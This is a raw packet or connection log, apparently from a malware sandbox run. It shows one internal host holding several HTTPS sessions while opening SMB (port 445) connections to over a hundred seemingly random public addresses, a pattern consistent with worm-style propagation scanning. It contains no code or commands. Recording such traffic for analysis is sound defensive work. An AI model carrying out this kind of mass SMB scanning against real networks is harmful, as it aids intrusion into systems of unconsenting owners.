Jul 20, 2022 19:08:49.357024908 CEST	443	52958	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:49.357058048 CEST	443	52958	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:49.357122898 CEST	52958	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:49.357140064 CEST	443	52958	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:49.357155085 CEST	52958	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:49.357181072 CEST	52958	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:49.358076096 CEST	443	52958	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:49.358109951 CEST	443	52958	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:49.358195066 CEST	443	52958	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:49.358203888 CEST	52958	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:49.358253002 CEST	52958	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:49.564508915 CEST	443	52958	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:49.564654112 CEST	52958	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:49.705674887 CEST	52963	445	192.168.2.7	193.162.168.128
Jul 20, 2022 19:08:49.772512913 CEST	443	52958	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:49.772635937 CEST	52958	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:49.910799980 CEST	52965	445	192.168.2.7	84.42.73.134
Jul 20, 2022 19:08:49.911622047 CEST	52966	445	192.168.2.7	71.173.55.119
Jul 20, 2022 19:08:49.912889957 CEST	52967	445	192.168.2.7	151.224.111.76
Jul 20, 2022 19:08:49.913255930 CEST	52968	445	192.168.2.7	95.234.26.23
Jul 20, 2022 19:08:49.987890959 CEST	52969	445	192.168.2.7	200.173.139.133
Jul 20, 2022 19:08:50.007221937 CEST	52971	445	192.168.2.7	29.187.226.140
Jul 20, 2022 19:08:50.008029938 CEST	52972	445	192.168.2.7	120.233.160.84
Jul 20, 2022 19:08:50.025104046 CEST	52973	445	192.168.2.7	157.195.228.54
Jul 20, 2022 19:08:50.025764942 CEST	52974	445	192.168.2.7	182.107.81.236
Jul 20, 2022 19:08:50.026890993 CEST	52975	445	192.168.2.7	91.88.230.58
Jul 20, 2022 19:08:50.034137011 CEST	52976	445	192.168.2.7	56.215.226.15
Jul 20, 2022 19:08:50.053324938 CEST	52977	445	192.168.2.7	53.225.185.152
Jul 20, 2022 19:08:50.054846048 CEST	52984	445	192.168.2.7	49.139.91.82
Jul 20, 2022 19:08:50.056744099 CEST	52987	445	192.168.2.7	60.229.228.69
Jul 20, 2022 19:08:50.056924105 CEST	52989	445	192.168.2.7	112.153.23.61
Jul 20, 2022 19:08:50.057035923 CEST	52990	445	192.168.2.7	123.203.61.187
Jul 20, 2022 19:08:50.082406044 CEST	52992	445	192.168.2.7	220.166.43.27
Jul 20, 2022 19:08:50.083508015 CEST	52994	445	192.168.2.7	122.45.185.20
Jul 20, 2022 19:08:50.084088087 CEST	52995	445	192.168.2.7	96.44.124.59
Jul 20, 2022 19:08:50.084913015 CEST	52996	445	192.168.2.7	107.171.5.188
Jul 20, 2022 19:08:50.086977959 CEST	52999	445	192.168.2.7	4.122.86.53
Jul 20, 2022 19:08:50.087714911 CEST	53000	445	192.168.2.7	192.88.220.38
Jul 20, 2022 19:08:50.089636087 CEST	53003	445	192.168.2.7	34.149.205.193
Jul 20, 2022 19:08:50.090187073 CEST	53004	445	192.168.2.7	205.136.55.215
Jul 20, 2022 19:08:50.096812010 CEST	53008	445	192.168.2.7	202.194.138.243
Jul 20, 2022 19:08:50.098155022 CEST	53010	445	192.168.2.7	217.148.69.138
Jul 20, 2022 19:08:50.098844051 CEST	53011	445	192.168.2.7	49.226.43.114
Jul 20, 2022 19:08:50.099499941 CEST	53012	445	192.168.2.7	201.99.40.92
Jul 20, 2022 19:08:50.100179911 CEST	53013	445	192.168.2.7	29.175.133.56
Jul 20, 2022 19:08:50.100872040 CEST	53014	445	192.168.2.7	30.126.79.77
Jul 20, 2022 19:08:50.108551025 CEST	445	53003	34.149.205.193	192.168.2.7
Jul 20, 2022 19:08:50.188492060 CEST	443	52958	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:50.188638926 CEST	52958	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:50.231141090 CEST	52958	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:50.231161118 CEST	443	52958	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:50.231178999 CEST	443	52958	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:50.231285095 CEST	52958	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:50.231297016 CEST	443	52958	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:50.231312990 CEST	443	52958	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:50.231389046 CEST	52958	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:50.231400013 CEST	443	52958	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:50.231471062 CEST	52958	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:50.231481075 CEST	443	52958	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:50.231554031 CEST	52958	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:50.231564999 CEST	443	52958	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:50.231642008 CEST	52958	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:50.231651068 CEST	443	52958	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:50.231693983 CEST	52958	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:50.231705904 CEST	443	52958	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:50.231755018 CEST	52958	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:50.231765985 CEST	443	52958	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:50.231786013 CEST	443	52958	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:50.231837988 CEST	52958	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:50.231865883 CEST	443	52958	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:50.231914043 CEST	52958	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:50.231933117 CEST	443	52958	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:50.232165098 CEST	52958	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:50.232182026 CEST	443	52958	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:50.232201099 CEST	443	52958	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:50.232377052 CEST	52958	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:50.232389927 CEST	443	52958	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:50.232408047 CEST	443	52958	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:50.232422113 CEST	443	52958	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:50.232539892 CEST	52958	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:50.232553959 CEST	443	52958	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:50.232573986 CEST	443	52958	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:50.232589006 CEST	443	52958	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:50.232698917 CEST	52958	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:50.232709885 CEST	443	52958	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:50.232739925 CEST	443	52958	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:50.232817888 CEST	52958	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:50.243022919 CEST	52958	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:50.243050098 CEST	443	52958	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:50.243208885 CEST	52958	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:50.260993004 CEST	52958	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:50.261019945 CEST	443	52958	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:50.261044025 CEST	443	52958	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:50.261245012 CEST	52958	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:50.261260986 CEST	443	52958	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:50.261282921 CEST	443	52958	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:50.261303902 CEST	443	52958	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:50.261466980 CEST	52958	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:50.261486053 CEST	443	52958	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:50.261512995 CEST	443	52958	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:50.261532068 CEST	443	52958	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:50.261693001 CEST	52958	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:50.261728048 CEST	443	52958	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:50.261778116 CEST	443	52958	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:50.261986017 CEST	52958	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:50.262025118 CEST	443	52958	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:50.262054920 CEST	443	52958	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:50.262088060 CEST	443	52958	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:50.262259007 CEST	52958	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:50.262279034 CEST	443	52958	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:50.262326002 CEST	443	52958	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:50.262352943 CEST	52958	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:50.262368917 CEST	443	52958	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:50.262581110 CEST	52958	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:50.263704062 CEST	52958	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:50.263727903 CEST	443	52958	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:50.263756990 CEST	443	52958	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:50.263894081 CEST	52958	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:50.263910055 CEST	443	52958	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:50.263927937 CEST	443	52958	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:50.263951063 CEST	443	52958	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:50.263978004 CEST	52958	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:50.263989925 CEST	443	52958	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:50.264085054 CEST	52958	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:50.264100075 CEST	443	52958	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:50.264120102 CEST	443	52958	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:50.264144897 CEST	443	52958	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:50.264168978 CEST	52958	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:50.264180899 CEST	443	52958	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:50.264292002 CEST	52958	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:50.264307022 CEST	443	52958	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:50.264324903 CEST	443	52958	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:50.264345884 CEST	443	52958	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:50.264386892 CEST	52958	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:50.264466047 CEST	52958	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:50.264511108 CEST	443	52958	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:50.264539003 CEST	443	52958	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:50.264595985 CEST	52958	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:50.264640093 CEST	52958	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:50.265203953 CEST	52958	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:50.265227079 CEST	443	52958	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:50.265261889 CEST	443	52958	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:50.265398026 CEST	52958	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:50.265706062 CEST	52958	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:50.265732050 CEST	443	52958	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:50.265757084 CEST	443	52958	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:50.265784025 CEST	443	52958	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:50.265818119 CEST	52958	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:50.265938044 CEST	52958	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:50.265954971 CEST	443	52958	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:50.265974045 CEST	443	52958	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:50.266002893 CEST	443	52958	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:50.266026974 CEST	52958	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:50.266062021 CEST	443	52958	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:50.266119957 CEST	52958	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:50.266143084 CEST	443	52958	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:50.266180038 CEST	52958	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:50.266195059 CEST	443	52958	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:50.266258001 CEST	443	52958	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:50.266340017 CEST	52958	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:50.266366959 CEST	443	52958	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:50.266417027 CEST	52958	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:50.266479969 CEST	52958	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:50.289953947 CEST	52958	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:50.289972067 CEST	443	52958	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:50.289994001 CEST	443	52958	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:50.290188074 CEST	52958	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:50.357881069 CEST	52958	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:50.357896090 CEST	443	52958	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:50.357908964 CEST	443	52958	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:50.357927084 CEST	443	52958	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:50.358015060 CEST	52958	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:50.358022928 CEST	443	52958	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:50.358139992 CEST	52958	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:50.358150005 CEST	443	52958	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:50.358170986 CEST	443	52958	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:50.358195066 CEST	443	52958	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:50.358342886 CEST	52958	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:50.358350039 CEST	443	52958	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:50.358370066 CEST	443	52958	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:50.358490944 CEST	52958	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:50.358617067 CEST	52958	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:50.358949900 CEST	52958	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:50.360733986 CEST	52958	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:50.360750914 CEST	443	52958	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:50.736222982 CEST	53003	445	192.168.2.7	34.149.205.193
Jul 20, 2022 19:08:50.754894018 CEST	445	53003	34.149.205.193	192.168.2.7
Jul 20, 2022 19:08:50.869966984 CEST	53021	445	192.168.2.7	73.214.254.89
Jul 20, 2022 19:08:51.034689903 CEST	53023	445	192.168.2.7	181.234.84.110
Jul 20, 2022 19:08:51.035254955 CEST	53024	445	192.168.2.7	132.157.50.183
Jul 20, 2022 19:08:51.035749912 CEST	53025	445	192.168.2.7	150.240.141.45
Jul 20, 2022 19:08:51.036281109 CEST	53026	445	192.168.2.7	204.158.47.55
Jul 20, 2022 19:08:51.118948936 CEST	53027	445	192.168.2.7	163.27.125.212
Jul 20, 2022 19:08:51.127804041 CEST	53029	445	192.168.2.7	80.155.189.143
Jul 20, 2022 19:08:51.127873898 CEST	53030	445	192.168.2.7	150.33.72.5
Jul 20, 2022 19:08:51.144095898 CEST	53031	445	192.168.2.7	123.165.1.78
Jul 20, 2022 19:08:51.145054102 CEST	53032	445	192.168.2.7	129.130.86.124
Jul 20, 2022 19:08:51.145226002 CEST	53033	445	192.168.2.7	50.173.168.28
Jul 20, 2022 19:08:51.160593033 CEST	53034	445	192.168.2.7	133.215.146.30
Jul 20, 2022 19:08:51.174962044 CEST	53035	445	192.168.2.7	153.144.105.119
Jul 20, 2022 19:08:51.179105997 CEST	53042	445	192.168.2.7	2.233.193.198
Jul 20, 2022 19:08:51.181353092 CEST	53045	445	192.168.2.7	56.60.236.4
Jul 20, 2022 19:08:51.185939074 CEST	53047	445	192.168.2.7	131.115.90.19
Jul 20, 2022 19:08:51.186805010 CEST	53048	445	192.168.2.7	136.200.239.79
Jul 20, 2022 19:08:51.221997023 CEST	53050	445	192.168.2.7	51.198.218.138
Jul 20, 2022 19:08:51.222611904 CEST	53051	445	192.168.2.7	179.236.84.43
Jul 20, 2022 19:08:51.231439114 CEST	53055	445	192.168.2.7	202.243.250.180
Jul 20, 2022 19:08:51.231446981 CEST	53057	445	192.168.2.7	177.210.158.106
Jul 20, 2022 19:08:51.231617928 CEST	53058	445	192.168.2.7	47.100.1.235
Jul 20, 2022 19:08:51.231688023 CEST	53059	445	192.168.2.7	34.202.92.234
Jul 20, 2022 19:08:51.231817007 CEST	53061	445	192.168.2.7	76.152.228.88
Jul 20, 2022 19:08:51.231940031 CEST	53060	445	192.168.2.7	216.110.183.215
Jul 20, 2022 19:08:51.231971025 CEST	53064	445	192.168.2.7	57.109.77.17
Jul 20, 2022 19:08:51.232172966 CEST	53066	445	192.168.2.7	154.1.154.11
Jul 20, 2022 19:08:51.232316971 CEST	53067	445	192.168.2.7	16.71.184.38
Jul 20, 2022 19:08:51.232323885 CEST	53068	445	192.168.2.7	9.234.45.194
Jul 20, 2022 19:08:51.232343912 CEST	53070	445	192.168.2.7	85.252.87.55
Jul 20, 2022 19:08:51.232397079 CEST	53071	445	192.168.2.7	52.103.132.238
Jul 20, 2022 19:08:51.410700083 CEST	53075	443	192.168.2.7	20.40.129.122
Jul 20, 2022 19:08:51.410753012 CEST	443	53075	20.40.129.122	192.168.2.7
Jul 20, 2022 19:08:51.413419008 CEST	53075	443	192.168.2.7	20.40.129.122
Jul 20, 2022 19:08:51.414208889 CEST	53075	443	192.168.2.7	20.40.129.122
Jul 20, 2022 19:08:51.414232969 CEST	443	53075	20.40.129.122	192.168.2.7
Jul 20, 2022 19:08:51.505250931 CEST	443	53075	20.40.129.122	192.168.2.7
Jul 20, 2022 19:08:51.505414009 CEST	53075	443	192.168.2.7	20.40.129.122
Jul 20, 2022 19:08:51.536492109 CEST	53075	443	192.168.2.7	20.40.129.122
Jul 20, 2022 19:08:51.536509991 CEST	443	53075	20.40.129.122	192.168.2.7
Jul 20, 2022 19:08:51.539670944 CEST	53075	443	192.168.2.7	20.40.129.122
Jul 20, 2022 19:08:51.539691925 CEST	443	53075	20.40.129.122	192.168.2.7
Jul 20, 2022 19:08:51.540007114 CEST	53075	443	192.168.2.7	20.40.129.122
Jul 20, 2022 19:08:51.540021896 CEST	443	53075	20.40.129.122	192.168.2.7
Jul 20, 2022 19:08:51.619491100 CEST	443	53075	20.40.129.122	192.168.2.7
Jul 20, 2022 19:08:51.619568110 CEST	53075	443	192.168.2.7	20.40.129.122
Jul 20, 2022 19:08:51.619571924 CEST	443	53075	20.40.129.122	192.168.2.7
Jul 20, 2022 19:08:51.619625092 CEST	53075	443	192.168.2.7	20.40.129.122
Jul 20, 2022 19:08:51.655760050 CEST	53075	443	192.168.2.7	20.40.129.122
Jul 20, 2022 19:08:51.655807018 CEST	443	53075	20.40.129.122	192.168.2.7
Jul 20, 2022 19:08:51.655832052 CEST	53075	443	192.168.2.7	20.40.129.122
Jul 20, 2022 19:08:51.655913115 CEST	53075	443	192.168.2.7	20.40.129.122
Jul 20, 2022 19:08:52.003810883 CEST	53080	445	192.168.2.7	14.212.187.93
Jul 20, 2022 19:08:52.160636902 CEST	53082	445	192.168.2.7	218.101.74.46
Jul 20, 2022 19:08:52.161482096 CEST	53083	445	192.168.2.7	96.140.207.131
Jul 20, 2022 19:08:52.162096977 CEST	53084	445	192.168.2.7	157.101.118.195
Jul 20, 2022 19:08:52.162688017 CEST	53085	445	192.168.2.7	34.168.30.245
Jul 20, 2022 19:08:52.251745939 CEST	53086	445	192.168.2.7	18.167.90.239
Jul 20, 2022 19:08:52.253390074 CEST	53087	445	192.168.2.7	206.61.177.154
Jul 20, 2022 19:08:52.253568888 CEST	53088	445	192.168.2.7	93.9.160.100
Jul 20, 2022 19:08:52.255316019 CEST	53090	445	192.168.2.7	115.95.242.132
Jul 20, 2022 19:08:52.255377054 CEST	53091	445	192.168.2.7	39.169.115.14
Jul 20, 2022 19:08:52.255508900 CEST	53092	445	192.168.2.7	141.17.120.142
Jul 20, 2022 19:08:52.285142899 CEST	53093	445	192.168.2.7	140.119.113.228
Jul 20, 2022 19:08:52.300075054 CEST	53094	445	192.168.2.7	37.172.148.13
Jul 20, 2022 19:08:52.305453062 CEST	53101	445	192.168.2.7	204.157.83.68
Jul 20, 2022 19:08:52.307543039 CEST	53104	445	192.168.2.7	137.5.105.94
Jul 20, 2022 19:08:52.309405088 CEST	53106	445	192.168.2.7	112.123.212.254
Jul 20, 2022 19:08:52.310700893 CEST	53107	445	192.168.2.7	172.125.46.251
Jul 20, 2022 19:08:52.359961987 CEST	53108	445	192.168.2.7	96.150.149.178
Jul 20, 2022 19:08:52.363389015 CEST	53110	445	192.168.2.7	63.252.80.113
Jul 20, 2022 19:08:52.374084949 CEST	53114	445	192.168.2.7	33.187.199.68
Jul 20, 2022 19:08:52.374497890 CEST	53116	445	192.168.2.7	131.62.217.181
Jul 20, 2022 19:08:52.374572039 CEST	53117	445	192.168.2.7	85.52.26.111
Jul 20, 2022 19:08:52.374706984 CEST	53118	445	192.168.2.7	18.103.142.247
Jul 20, 2022 19:08:52.374730110 CEST	53119	445	192.168.2.7	164.149.102.74
Jul 20, 2022 19:08:52.374962091 CEST	53122	445	192.168.2.7	10.10.2.90
Jul 20, 2022 19:08:52.375050068 CEST	53123	445	192.168.2.7	189.202.53.174
Jul 20, 2022 19:08:52.375195980 CEST	53126	445	192.168.2.7	129.8.217.242
Jul 20, 2022 19:08:52.375294924 CEST	53128	445	192.168.2.7	60.39.229.217
Jul 20, 2022 19:08:52.375374079 CEST	53129	445	192.168.2.7	174.221.132.34
Jul 20, 2022 19:08:52.375473976 CEST	53130	445	192.168.2.7	86.111.150.154
Jul 20, 2022 19:08:52.875483990 CEST	53137	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:08:52.875541925 CEST	443	53137	20.238.103.94	192.168.2.7
Jul 20, 2022 19:08:52.875654936 CEST	53137	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:08:53.149382114 CEST	53137	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:08:53.149429083 CEST	443	53137	20.238.103.94	192.168.2.7
Jul 20, 2022 19:08:53.264302969 CEST	53141	445	192.168.2.7	201.99.10.183
Jul 20, 2022 19:08:53.269685030 CEST	53142	445	192.168.2.7	128.123.237.77
Jul 20, 2022 19:08:53.269737005 CEST	53143	445	192.168.2.7	207.5.203.36
Jul 20, 2022 19:08:53.269907951 CEST	53144	445	192.168.2.7	48.12.40.149
Jul 20, 2022 19:08:53.269932985 CEST	53145	445	192.168.2.7	165.144.58.250
Jul 20, 2022 19:08:53.298048019 CEST	443	53137	20.238.103.94	192.168.2.7
Jul 20, 2022 19:08:53.298197031 CEST	53137	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:08:53.379883051 CEST	53146	445	192.168.2.7	131.198.82.232
Jul 20, 2022 19:08:53.380752087 CEST	53147	445	192.168.2.7	186.39.235.224
Jul 20, 2022 19:08:53.380983114 CEST	53150	445	192.168.2.7	112.236.156.181
Jul 20, 2022 19:08:53.381021023 CEST	53149	445	192.168.2.7	40.239.140.6
Jul 20, 2022 19:08:53.381145000 CEST	53151	445	192.168.2.7	116.223.251.75
Jul 20, 2022 19:08:53.381242990 CEST	53152	445	192.168.2.7	160.170.17.36
Jul 20, 2022 19:08:53.385845900 CEST	53137	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:08:53.385878086 CEST	443	53137	20.238.103.94	192.168.2.7
Jul 20, 2022 19:08:53.386775017 CEST	53137	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:08:53.386795998 CEST	443	53137	20.238.103.94	192.168.2.7
Jul 20, 2022 19:08:53.388803959 CEST	443	53137	20.238.103.94	192.168.2.7
Jul 20, 2022 19:08:53.388994932 CEST	53137	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:08:53.410234928 CEST	53153	445	192.168.2.7	107.187.128.173
Jul 20, 2022 19:08:53.427769899 CEST	53154	445	192.168.2.7	75.224.87.19
Jul 20, 2022 19:08:53.431437016 CEST	53161	445	192.168.2.7	29.185.2.11
Jul 20, 2022 19:08:53.433120966 CEST	53164	445	192.168.2.7	77.184.61.115
Jul 20, 2022 19:08:53.434406996 CEST	53166	445	192.168.2.7	81.35.49.50
Jul 20, 2022 19:08:53.435632944 CEST	53167	445	192.168.2.7	57.16.194.178
Jul 20, 2022 19:08:53.463962078 CEST	443	53137	20.238.103.94	192.168.2.7
Jul 20, 2022 19:08:53.464031935 CEST	443	53137	20.238.103.94	192.168.2.7
Jul 20, 2022 19:08:53.464083910 CEST	53137	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:08:53.464133978 CEST	53137	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:08:53.473877907 CEST	53170	445	192.168.2.7	99.137.67.15
Jul 20, 2022 19:08:53.479213953 CEST	53171	445	192.168.2.7	131.126.188.166
Jul 20, 2022 19:08:53.480094910 CEST	53137	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:08:53.480138063 CEST	443	53137	20.238.103.94	192.168.2.7
Jul 20, 2022 19:08:53.480150938 CEST	53137	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:08:53.480231047 CEST	53137	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:08:53.491817951 CEST	53172	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:08:53.491868019 CEST	443	53172	20.238.103.94	192.168.2.7
Jul 20, 2022 19:08:53.492069006 CEST	53172	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:08:53.493648052 CEST	53172	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:08:53.493674994 CEST	443	53172	20.238.103.94	192.168.2.7
Jul 20, 2022 19:08:53.499968052 CEST	53173	445	192.168.2.7	6.73.140.139
Jul 20, 2022 19:08:53.499989033 CEST	53174	445	192.168.2.7	211.234.186.42
Jul 20, 2022 19:08:53.500072956 CEST	53175	445	192.168.2.7	65.74.128.202
Jul 20, 2022 19:08:53.500288963 CEST	53179	445	192.168.2.7	6.148.25.94
Jul 20, 2022 19:08:53.500436068 CEST	53182	445	192.168.2.7	223.150.201.12
Jul 20, 2022 19:08:53.500449896 CEST	53181	445	192.168.2.7	28.1.10.74
Jul 20, 2022 19:08:53.500560045 CEST	53184	445	192.168.2.7	174.118.206.141
Jul 20, 2022 19:08:53.500602007 CEST	53183	445	192.168.2.7	214.138.18.250
Jul 20, 2022 19:08:53.500686884 CEST	53185	445	192.168.2.7	128.225.25.226
Jul 20, 2022 19:08:53.500849962 CEST	53190	445	192.168.2.7	142.6.126.31
Jul 20, 2022 19:08:53.500926971 CEST	53191	445	192.168.2.7	147.44.34.10
Jul 20, 2022 19:08:53.503739119 CEST	53193	445	192.168.2.7	200.73.83.66
Jul 20, 2022 19:08:53.635967016 CEST	443	53172	20.238.103.94	192.168.2.7
Jul 20, 2022 19:08:53.636111975 CEST	53172	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:08:53.707015038 CEST	53172	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:08:53.707036018 CEST	443	53172	20.238.103.94	192.168.2.7
Jul 20, 2022 19:08:53.716634035 CEST	53172	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:08:53.716659069 CEST	443	53172	20.238.103.94	192.168.2.7
Jul 20, 2022 19:08:53.792103052 CEST	443	53172	20.238.103.94	192.168.2.7
